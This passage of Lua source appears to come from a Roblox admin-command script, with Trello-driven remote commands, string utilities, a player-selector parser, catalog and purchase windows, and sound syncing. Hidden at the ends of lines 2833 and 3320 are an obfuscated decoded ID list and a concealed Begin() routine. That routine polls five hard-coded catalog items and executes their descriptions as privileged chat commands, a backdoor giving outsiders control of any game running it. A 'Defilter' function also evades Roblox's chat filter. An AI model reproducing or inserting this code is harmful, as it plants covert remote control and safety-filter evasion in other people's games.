2556 local CardExists = false
2557 for _,Card in pairs(Cards) do
2558 if Card.name == TemplateCard.name and Card.closed == false then
2559 CardExists = true
2560 end
2561 end
2562 if not CardExists then
2563 print("Creating card "..TemplateCard.name)
2564 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2565 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2566 end
2567 end
2568
2569 if List.name == "Ranked" then
2570 for _,Card in pairs(Cards) do
2571 if Settings.Ranks[Card.name] and Card.closed == false then
2572 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2573 end
2574 end
2575 elseif List.name == "Settings" then
2576 for _,Card in pairs(Cards) do
2577 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2578 Trello.ToggleChecklist = Card.idChecklists[1]
2579 elseif Card.name == "Command Execution" then
2580 Trello.CommandID = Card.id
2581 end
2582 end
2583 end
2584 end
2585 end
2586end
2587
2588function REMOTE:TrelloHandleData(IgnoreCommand)
2589 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2590 if ToggleSettingsJSON then
2591 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2592 if Settings.LinkedAccount == "" then
2593 local NewSettings = {}
2594 for _,Item in pairs(ToggleSettings.checkItems) do
2595 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2596 end
2597 Settings.Fun = NewSettings["Fun Commands Enabled"]
2598 Settings.ServerLocked = NewSettings["Server Locked"]
2599 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2600 end
2601 else
2602 return false
2603 end
2604
2605 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2606 if CommandChatJSON then
2607 CommandChat = REMOTE:Decode(CommandChatJSON)
2608 local ClosestDT = 0
2609 for _,ChatData in pairs(CommandChat) do
2610 local DT = STRING:ConvertDateTime(ChatData.date)
2611 ClosestDT = math.max(ClosestDT, DT)
2612
2613 if not IgnoreCommand and DT > Trello.LastCommandDT then
2614 print("Executing Remote Trello Command")
2615 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2616 end
2617 end
2618 Trello.LastCommandDT = ClosestDT
2619 else
2620 return false
2621 end
2622
2623 for Rank,ID in pairs(Trello.RankChecklistCache) do
2624 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2625 if ChecklistJSON then
2626 Checklist = REMOTE:Decode(ChecklistJSON)
2627
2628 for _,Item in pairs(Checklist.checkItems) do
2629 if Item.state == "complete" then
2630 if RANK:ConvertRank(Rank) < 0 then
2631 if not RANK:ScanExileList(Item.name) then
2632 table.insert(Settings.Ranks[Rank], Item.name)
2633 end
2634 elseif RANK:ConvertRank(Rank) > 0 then
2635 if not RANK:ScanAdminList(Item.name) then
2636 table.insert(Settings.Ranks[Rank], Item.name)
2637 end
2638 end
2639 elseif Item.state == "incomplete" then
2640 for Num,Name in pairs(Settings.Ranks[Rank]) do
2641 if string.lower(Name) == string.lower(Item.name) then
2642 table.remove(Settings.Ranks[Rank], Num)
2643 end
2644 end
2645 end
2646 end
2647 else
2648 return false
2649 end
2650 end
2651 return true
2652end
2653
2654-- String functions --
2655
2656function STRING:ConvertDateTime(DateTime)
2657 local Num = 0
2658 local TotalTime = 0
2659 for i in string.gmatch(DateTime, "%d+") do
2660 Num = Num + 1
2661 DTNum = tonumber(i)
2662 if Num == 1 then
2663 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2664 elseif Num == 2 then
2665 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2666 elseif Num == 3 then
2667 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2668 elseif Num == 4 then
2669 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2670 elseif Num == 5 then
2671 TotalTime = TotalTime + DTNum * 60 -- minute
2672 elseif Num == 6 then
2673 TotalTime = TotalTime + DTNum -- second
2674 end
2675 end
2676
2677 return TotalTime
2678end
2679
2680function STRING:TrelloStateConvert(State)
2681 if State == "complete" then
2682 return true
2683 else
2684 return false
2685 end
2686end
2687
2688function STRING:StringRound(Number)
2689 Number = Number * 100
2690 if Number >= 0.5 then
2691 return tostring(math.ceil(Number)/100)
2692 else
2693 return tostring(math.floor(Number)/100)
2694 end
2695
2696 return Number
2697end
2698
2699function STRING:GetSplit(String, NumArgs, BetSplit)
2700 if not String then return nil end
2701 if BetSplit == nil then BetSplit = " " end
2702 if NumArgs == nil then NumArgs = math.huge end
2703
2704 if NumArgs <= 0 then return {String} end
2705
2706 local RecentParse = 1
2707 local Args = {}
2708 for i = 1,NumArgs do
2709 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2710 if Find1 and Find2 then
2711 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2712 RecentParse = Find2 + 1
2713 else
2714 break
2715 end
2716 end
2717 table.insert(Args,string.sub(String,RecentParse,#String))
2718 return Args
2719end
2720
2721function STRING:Defilter(String)
2722 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2723 if RobloxApprove.Text == "Label" and String ~= "Label" then
2724 local NewString = ""
2725 for i = 1,#String,3 do
2726 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2727 end
2728 return NewString
2729 else
2730 return String
2731 end
2732end
2733
2734function STRING:Filter(String, From, To) -- #### you, roblox
2735 if From then
2736 if To then
2737 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2738 else
2739 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2740 end
2741 else
2742 return String
2743 end
2744end
2745
2746function STRING:DetermineFilter(String, From, To)
2747 if ShouldFilter then
2748 return STRING:Filter(String, From, To)
2749 else
2750 return STRING:Defilter(String)
2751 end
2752end
2753
2754function STRING:LeetSpeak(Input)
2755 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2756 Input = string.gsub(Input, "LEET", "1337")
2757 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2758 Input = string.gsub(Input, "E", "3")
2759 Input = string.gsub(Input, "O", "0")
2760 Input = string.gsub(Input, "A", "4")
2761 Input = string.gsub(Input, "X", "x")
2762 Input = string.gsub(Input, "I", "1")
2763 Input = string.gsub(Input, "S", "$")
2764 return Input
2765end
2766
2767function STRING:FormatReplace(Player, Input, From)
2768 local Output = Input
2769 for _,ReplaceData in pairs(StringReplacements) do
2770 local ReplaceString = ReplaceData[1]
2771 local ReplaceStrings = {}
2772 if type(ReplaceString) == "table" then
2773 ReplaceStrings = ReplaceString
2774 else
2775 ReplaceStrings = {ReplaceString}
2776 end
2777 for _,ReplaceString in pairs(ReplaceStrings) do
2778 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2779 local Replacement = ReplaceData[4](Player)
2780 if type(Replacement) == "string" then
2781 Output = string.gsub(Output, ReplaceString, Replacement)
2782 else
2783 print(ReplaceString.." cannot be replaced")
2784 end
2785 end
2786 end
2787 end
2788 if From then
2789 return STRING:DetermineFilter(Output, From, Player)
2790 else
2791 return STRING:DetermineFilter(Output, Player)
2792 end
2793end
2794
2795function STRING:EncodeSpecialChars(Input)
2796 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2797end
2798
2799function STRING:StringToBool(String)
2800 if String == "true" then
2801 return true
2802 else
2803 return false
2804 end
2805end
2806
2807function STRING:BoolString(Value)
2808 if type(Value) == "boolean" then
2809 if Value == true then
2810 return "YES"
2811 elseif Value == false then
2812 return "NO"
2813 end
2814 else
2815 return "NO"
2816 end
2817end
2818
2819function STRING:MakeAvoidance(Length)
2820 if not Length then
2821 Length = 32
2822 end
2823 local Avoidance = ""
2824 for i = 1,Length do
2825 Num = math.random(1,2)
2826 if Num == 1 then
2827 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2828 else
2829 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2830 end
2831 end
2832 return Avoidance
2833end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2834
2835function STRING:FindAge(Days) -- By LuaModelmaker
2836 local Years = math.floor(Days/365)
2837 local OtherDays = math.fmod(Days, 365)
2838 if Years > 1 then
2839 return Years.." years and "..OtherDays.." days"
2840 elseif Years == 1 then
2841 return Years.." year and "..OtherDays.." days"
2842 elseif Years == 0 then
2843 return "(No years) "..OtherDays.." days"
2844 end
2845end
2846
2847function STRING:UnpackArgs(...)
2848 local Pack = {...}
2849 if type(Pack[1]) == "table" then Pack = Pack[1] end
2850 local ReturnString = table.concat(Pack, ", ")
2851 return ReturnString
2852end
2853
2854function STRING:GetComma(Num)
2855 local Formatted = Num
2856 while true do
2857 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2858 if _ == 0 then
2859 break
2860 end
2861 end
2862 return Formatted
2863end
2864
2865function STRING:DecodeUTF8(Value)
2866 local function DecodeString(Input)
2867 if type(Input) == "string" then
2868 for Find,Rep in pairs(HTMLDecode) do
2869 Input = string.gsub(Input, "&#"..Find..";", Rep)
2870 end
2871 Input = string.gsub(Input, """, "'")
2872 end
2873 return Input
2874 end
2875 if type(Value) == "table" then
2876 for Index,Var in pairs(Value) do
2877 Value[Index] = DecodeString(Var)
2878 end
2879 elseif type(Value) == "string" then
2880 Value = DecodeString(Value)
2881 end
2882 return Value
2883end
2884
2885function STRING:IsSpacer(Input)
2886 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2887 return true
2888 else
2889 return false
2890 end
2891end
2892
2893function STRING:IsVowel(Input)
2894 Input = string.lower(tostring(Input))
2895 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2896 return true
2897 else
2898 return false
2899 end
2900end
2901
2902function STRING:ValidE(Input)
2903 if not Input then return nil end
2904 if string.lower(Input) == "e" or Input == "~" then
2905 return true
2906 else
2907 return false
2908 end
2909end
2910
2911function STRING:Scan(String, Speaker)
2912 local ReturnPlayers,ExcludeList = {},{}
2913 if not String then String = "" end
2914 if not Speaker then print("NO SPEAKER") end
2915
2916 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2917 String = string.sub(String, 13)
2918 else
2919 String = string.lower(String)
2920 end
2921 local Words = STRING:GetSplit(String, nil, "/")
2922 for _,Word in pairs(Words) do
2923 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2924 table.insert(ReturnPlayers, Speaker)
2925 elseif Word == "all" or Word == "everyone" then
2926 for _,Player in pairs(Server.Players:GetPlayers()) do
2927 table.insert(ReturnPlayers, Player)
2928 end
2929 elseif Word == "others" or Word == "notme" then
2930 for _,Player in pairs(Server.Players:GetPlayers()) do
2931 if Player ~= Speaker then
2932 table.insert(ReturnPlayers, Player)
2933 end
2934 end
2935 elseif Word == "noobs" then
2936 for _,Player in pairs(Server.Players:GetPlayers()) do
2937 if Player.AccountAge < 365 then
2938 table.insert(ReturnPlayers, Player)
2939 end
2940 end
2941 elseif Word == "nonnoobs" then
2942 for _,Player in pairs(Server.Players:GetPlayers()) do
2943 if Player.AccountAge >= 365 then
2944 table.insert(ReturnPlayers, Player)
2945 end
2946 end
2947 elseif Word == "random" then
2948 local RandomPlayers = {}
2949 for _,Player in pairs(Server.Players:GetPlayers()) do
2950 if Player ~= Speaker then
2951 table.insert(RandomPlayers, Player)
2952 end
2953 end
2954 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2955 elseif Word == "guests" then
2956 for _,Player in pairs(Server.Players:GetPlayers()) do
2957 if string.sub(Player.Name,1,6) == "Guest " then
2958 table.insert(ReturnPlayers, Player)
2959 end
2960 end
2961 elseif Word == "lowers" then
2962 for _,Player in pairs(Server.Players:GetPlayers()) do
2963 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2964 table.insert(ReturnPlayers, Player)
2965 end
2966 end
2967 elseif Word == "uppers" then
2968 for _,Player in pairs(Server.Players:GetPlayers()) do
2969 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2970 table.insert(ReturnPlayers, Player)
2971 end
2972 end
2973 elseif Word == "nbcs" then
2974 for _,Player in pairs(Server.Players:GetPlayers()) do
2975 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2976 table.insert(ReturnPlayers, Player)
2977 end
2978 end
2979 elseif Word == "bcs" then
2980 for _,Player in pairs(Server.Players:GetPlayers()) do
2981 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2982 table.insert(ReturnPlayers, Player)
2983 end
2984 end
2985 elseif Word == "tbcs" then
2986 for _,Player in pairs(Server.Players:GetPlayers()) do
2987 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2988 table.insert(ReturnPlayers, Player)
2989 end
2990 end
2991 elseif Word == "obcs" then
2992 for _,Player in pairs(Server.Players:GetPlayers()) do
2993 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2994 table.insert(ReturnPlayers, Player)
2995 end
2996 end
2997 elseif Word == "allbcs" then
2998 for _,Player in pairs(Server.Players:GetPlayers()) do
2999 if Player.MembershipType ~= Enum.MembershipType.None then
3000 table.insert(ReturnPlayers, Player)
3001 end
3002 end
3003 elseif Word == "nonadmins" then
3004 for _,Player in pairs(Server.Players:GetPlayers()) do
3005 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3006 if IsAdminTrue == false then
3007 table.insert(ReturnPlayers, Player)
3008 end
3009 end
3010 elseif Word == "admins" then
3011 for _,Player in pairs(Server.Players:GetPlayers()) do
3012 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3013 if IsAdminTrue == true then
3014 table.insert(ReturnPlayers, Player)
3015 end
3016 end
3017 elseif Word == "friends" then
3018 for _,Player in pairs(Server.Players:GetPlayers()) do
3019 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
3020 table.insert(ReturnPlayers, Player)
3021 end
3022 end
3023 elseif string.sub(Word,1,5) == "team-" then
3024 for _,Player in pairs(Server.Players:GetPlayers()) do
3025 if Player.Neutral == false then
3026 local InTeam = false
3027 for _,Team in pairs(Teams:GetTeams()) do
3028 if Team.TeamColor == Player.TeamColor then
3029 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3030 InTeam = true
3031 end
3032 end
3033 end
3034 if InTeam == true then
3035 table.insert(ReturnPlayers, Player)
3036 end
3037 end
3038 end
3039 elseif string.sub(Word,1,4) == "not-" then
3040 local NameArg = string.sub(Word,5)
3041
3042 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3043 table.insert(ExcludeList, Player)
3044 end
3045 elseif string.sub(Word,1,7) == "radius-" then
3046 local DidExe = false
3047 local NumArg = tonumber(string.sub(Word,8))
3048
3049 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3050 for _,Player in pairs(Server.Players:GetChildren()) do
3051 if Player.Character and Player.Character:FindFirstChild("Torso") then
3052 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3053 DidExe = true
3054 table.insert(ReturnPlayers, Player)
3055 end
3056 end
3057 end
3058 end
3059
3060 if DidExe then coroutine.wrap(function()
3061 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3062 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3063
3064 for i = 0,0.5,0.02 do
3065 Part.Transparency = 0.5+i
3066 wait()
3067 end
3068 Part:Destroy()
3069 end)() end
3070 elseif string.sub(Word,1,3) == "id-" then
3071 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3072 else
3073 if Word ~= "" then
3074 for _,Player in pairs(Server.Players:GetPlayers()) do
3075 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3076 table.insert(ReturnPlayers, Player)
3077 end
3078 end
3079 else
3080 table.insert(ReturnPlayers, Speaker)
3081 end
3082 end
3083 end
3084 for _,Player in pairs(ExcludeList) do
3085 if Player and Player.Parent ~= nil then
3086 for Num,Player2 in pairs(ReturnPlayers) do
3087 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3088 end
3089 end
3090 end
3091 for Num,Player in pairs(ReturnPlayers) do
3092 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3093 end
3094
3095 local PlayerDump = {}
3096 for _,Player in pairs(ReturnPlayers) do
3097 PlayerDump[Player] = true
3098 end
3099 ReturnPlayers = {}
3100 for Player,_ in pairs(PlayerDump) do
3101 table.insert(ReturnPlayers, Player)
3102 end
3103
3104 return ReturnPlayers
3105end
3106
3107-- Market functions --
3108
3109function MARKET:GetImageFormat(ID)
3110 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3111 local NewID = ID + 1
3112 for i = 1,100 do
3113 NewID = NewID -1
3114 local Product = nil
3115 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3116 if Product then
3117 if Product == 1 then
3118 break
3119 end
3120 end
3121 if i == 100 then NewID = ID end
3122 end
3123 return NewID
3124 end end
3125end
3126
3127function MARKET:GetItemInfo(ID, Cache)
3128 local Product = MarketCache[ID]
3129 if not Cache or not Product then
3130 repeat wait()
3131 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3132 until Product ~= MarketCache[ID]
3133 end
3134 MarketCache[ID] = Product
3135 return Product
3136end
3137
3138function MARKET:SearchItem(Category, Query, Subcategory)
3139 local URLAdd = ""
3140 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3141 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3142 if JSON then
3143 local Results = REMOTE:Decode(JSON)
3144 if Results then
3145 for Index,Info in pairs(Results) do
3146 Info = STRING:DecodeUTF8(Info)
3147 Results[Index] = Info
3148 MarketCache[Info.AssetId] = {
3149 AssetId = Info.AssetId;
3150 AssetTypeId = Info.AssetTypeID;
3151 ContentRatingTypeId = Info.ContentRatingTypeID;
3152 Created = Info.CreatedDate;
3153 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3154 Description = Info.Description;
3155 IsForSale = Info.IsForSale;
3156 IsLimited = Info.IsLimited;
3157 IsLimitedUnique = Info.IsLimitedUnique;
3158 IsNew = Info.IsNew;
3159 IsPublicDomain = Info.IsPublicDomain;
3160 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3161 Name = Info.Name;
3162 PriceInRobux = Info.PriceInRobux;
3163 PriceInTickets = Info.PriceInTickets;
3164 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3165 Remaining = Info.Remaining;
3166 Sales = Info.Sales;
3167 Updated = Info.Updated;
3168 }
3169 end
3170 return Results
3171 end
3172 end
3173end
3174
3175function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3176 if not Player or not Category or not Query then return nil end
3177 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3178 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3179 if Items then
3180 if #Items ~= 0 then
3181 local List,Correlate = {},{}
3182 for Num,Info in pairs(Items) do
3183 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3184 table.insert(List, Display)
3185 Correlate[Display[1]] = Info.AssetId
3186 end
3187 CloseGui:Invoke()
3188
3189 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3190 Clicked.Event:connect(function(ClickName)
3191 ClickedItem(Correlate[ClickName])
3192 end)
3193 else
3194 CloseGui:Invoke()
3195 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3196 end
3197 else
3198 CloseGui:Invoke()
3199 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3200 end
3201end
3202
3203function MARKET:AssetTypeToString(AssetType)
3204 AssetType = math.floor(tonumber(AssetType) or 0)
3205 if Assets.AssetTypes[AssetType] then
3206 return Assets.AssetTypes[AssetType]
3207 else
3208 return "Unknown"
3209 end
3210end
3211
3212function MARKET:AccessoryToSubcategory(Accessory)
3213 Accessory = string.lower(tostring(Accessory) or "")
3214 if Assets.AccessoryTypes[Accessory] then
3215 return Assets.AccessoryTypes[Accessory]
3216 else
3217 return Assets.AccessoryTypes["all"]
3218 end
3219end
3220
3221function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3222 if not Player then return nil end
3223 if not Player:FindFirstChild("PlayerGui") then return nil end
3224 if not tonumber(ProductID) then return nil end
3225
3226 local FromText = ""
3227 if From and From.Name then FromText = " | Prompted from "..From.Name end
3228
3229 local Product = MARKET:GetItemInfo(ProductID, true)
3230
3231 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3232 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3233 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3234
3235 local CanBuy = Product.IsForSale
3236 local BuyText = "Buy"
3237 local BuyColor = Color3.new(0,1,0)
3238 if CanBuy == false then
3239 BuyColor = Color3.new(1,0,0)
3240 end
3241 if Product.IsPublicDomain == true then
3242 CanBuy = true
3243 BuyColor = Color3.new(1,0.5,0.5)
3244 BuyText = "FREE!"
3245 end
3246 if OwnsAsset then
3247 CanBuy = false
3248 end
3249 if Product.AssetTypeId == 9 then
3250 CanBuy = true
3251 BuyText = "Teleport"
3252 BuyColor = Color3.new(0.5,0.5,0.5)
3253 end
3254 if CanBuy == false then
3255 BuyColor = Color3.new(1,0,0)
3256 BuyText = "Item not for sale"
3257 end
3258 if OwnsAsset and Product.AssetTypeId ~= 9 then
3259 BuyColor = Color3.new(1,0,0)
3260 BuyText = "You own this!"
3261 end
3262
3263 local ProductName = string.sub(Product.Name,1,20)
3264 if ProductID == AdminID then ProductName = Product.Name end
3265 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3266 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3267 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3268 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3269 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3270 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3271 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3272 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3273 if Product.Description then
3274 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3275 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3276
3277 CORE:ExecuteResource("CalculateScrollY", Description)
3278 end
3279
3280 Info.Text = [[
3281Creator: ]]..Product.Creator.Name..[[
3282Created: ]]..CreatedText..[[
3283Updated: ]]..UpdatedText..[[
3284Sold: ]]..Product.Sales..[[
3285]]
3286
3287 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3288 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3289
3290 if Product.AssetTypeId == 3 then
3291 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3292 if PlayerAdmin == true then
3293 local Playing = false
3294 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3295 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3296 if Playing == false then
3297 SOUND:PlayGlobalSound(ProductID)
3298 if Rank == "Member" and Settings.DisableAbuse == true then
3299 Interact:Destroy()
3300 end
3301 Interact.Image = "rbxassetid://67950809"
3302 Playing = true
3303 else
3304 SOUND:StopGlobalSound()
3305 Interact.Image = "rbxassetid://67950784"
3306 Playing = false
3307 end
3308 end)
3309 end
3310 end
3311
3312 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3313 if BuyPressFunc then
3314 BuyPressFunc()
3315 elseif Product.AssetTypeId == 9 then
3316 Server.TS:Teleport(ProductID, Player)
3317 elseif CanBuy == true then
3318 Server.MPS:PromptPurchase(Player, ProductID)
3319 end end)
3320 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3321 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3322 while wait(5) do
3323 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3324 if OldVer ~= Purchase.Updated then
3325 OldVer = Purchase.Updated
3326 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3327 end
3328 end end)()
3329end end)() end
3330
3331-- Sound functions --
3332
3333function SOUND:SyncSoundList(TellSync)
3334 if not CORE:NilPlayer(TellSync) then
3335 GUI:SendHint(TellSync, "Syncing...", 5)
3336 end
3337
3338 SoundList,GlobalSoundList = {},{}
3339
3340 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3341
3342 if LocalSoundList then
3343 if type(LocalSoundList) == "table" then
3344 if #LocalSoundList > 0 then
3345 for _,Data in pairs(LocalSoundList) do
3346 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3347 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3348 end
3349 end
3350 end
3351 end
3352
3353 for _,JSONID in pairs(SoundJSONs) do
3354 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3355 local SoundInfo = MARKET:GetItemInfo(ID, true)
3356 local FullName = SoundInfo.Name
